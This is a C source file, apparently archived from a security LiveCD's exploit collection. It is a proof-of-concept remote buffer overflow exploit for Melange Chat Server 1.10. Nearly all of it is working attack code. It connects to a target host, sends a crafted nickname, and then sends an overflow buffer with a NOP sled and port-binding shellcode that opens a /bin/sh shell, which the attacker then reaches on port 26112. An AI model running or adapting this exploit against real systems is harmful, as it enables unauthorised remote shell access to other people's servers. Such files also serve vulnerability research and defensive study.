home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / melange / mbof.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  92 lines

  1. /*
  2.    Proof of Concept for Melange Chat Server 1.10
  3.    a lame remote bof exploit by innerphobia <up2u_@hotmail.com> 12/24/02
  4.  
  5.    Credits go to:
  6.    - iDefense Labs for the advisory
  7.    - blink for discovering the bug
  8.    - Irian for the shellcode
  9.  
  10.    With careful calculation it is *possible* to control even the EIP,
  11.    not just one byte of EIP.
  12.    There are to a few things that will happen if we use a wrong ret address:
  13.    1. Seg fault / shut down.
  14.    2. Keep on going < nothing happens >.
  15.  
  16.    Code tested on Suse 8.0 and RH 7.3
  17.    Merry Xmas :)
  18. */
  19.  
  20. #include <stdio.h>
  21. #include <string.h>
  22. #include <sys/types.h>
  23. #include <sys/socket.h>
  24. #include <netdb.h>
  25.  
  26. // magic numbers begin here
  27. #define ADDR 0xbfffd490
  28. #define NICKLEN 49
  29. #define BUFFLEN 463
  30. // magic numbers end
  31.  
  32. // brutally copied from Irian's cy.c
  33. char evil[]=
  34. "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43"
  35. "\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04"
  36. "\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52"
  37. "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
  38.  
  39. int main(int argc,char **argv){
  40.     int i,j=0,sock,port = 6666;
  41.     char *host;
  42.     char nick[NICKLEN],buff[BUFFLEN];
  43.     struct hostent *htent;
  44.     struct sockaddr_in serv_addr;
  45.     long jump = ADDR;
  46.     u_long *ptr = (u_long *)buff;
  47.  
  48.     if(argc>4||argc<2)
  49.         printf("Usage : %s [hostname] [ret address in hex (0x41414141)] 
  50. [port]\n",argv[0]),exit(1);
  51.  
  52.     host=argv[1];
  53.     if(argc>2) sscanf(argv[2],"0x%lx",&jump);
  54.     if(argc>3) port=atoi(argv[3]);
  55.  
  56.     if((htent = gethostbyname(argv[1])) != NULL && (sock = 
  57. socket(AF_INET,SOCK_STREAM,0)) != -1){
  58.  
  59.         serv_addr.sin_family = AF_INET;
  60.         memcpy((char 
  61. *)&serv_addr.sin_addr.s_addr,htent->h_addr_list[0],htent->h_length);
  62.         serv_addr.sin_port = htons(port);
  63.  
  64.         if(!connect(sock,(struct sockaddr *)&serv_addr,sizeof(serv_addr))){
  65.  
  66.             printf("Connected to %s at %d [0x%lx]\nTrying to send %d chars 
  67. NICKNAME\n",host,port,jump,sizeof(nick)-6);
  68.  
  69.             memset(nick,'A',sizeof(nick)),memcpy(nick,"/NICK ",6);
  70.  
  71.             if(send(sock,nick,sizeof(nick),0) == -1)
  72.                 perror("Sending nickname failed\n"),exit(1);
  73.             sleep(1);
  74.  
  75.             for(i=0;i<sizeof(buff);i+=4) *(ptr++)=jump;
  76.             for(i=0;i<sizeof(buff)-200-strlen(evil);i++) buff[i]=0x90;
  77.             for(j=0;j<strlen(evil);j++) buff[i++]=evil[j];
  78.  
  79.             printf("Trying to send overflow string\n");
  80.  
  81.             if(send(sock,buff,sizeof(buff),0) == -1)
  82.                 perror("Sending overflow failed :(\n"),exit(1);
  83.  
  84.             sleep(1);
  85.             printf("Now try to connect to host : %s port : 26112\n",host);
  86.             close(sock);
  87.         }
  88.         else printf("Can't connect to %s at %d\n",host,port),exit(1);
  89.     }
  90. }
  91.  
  92.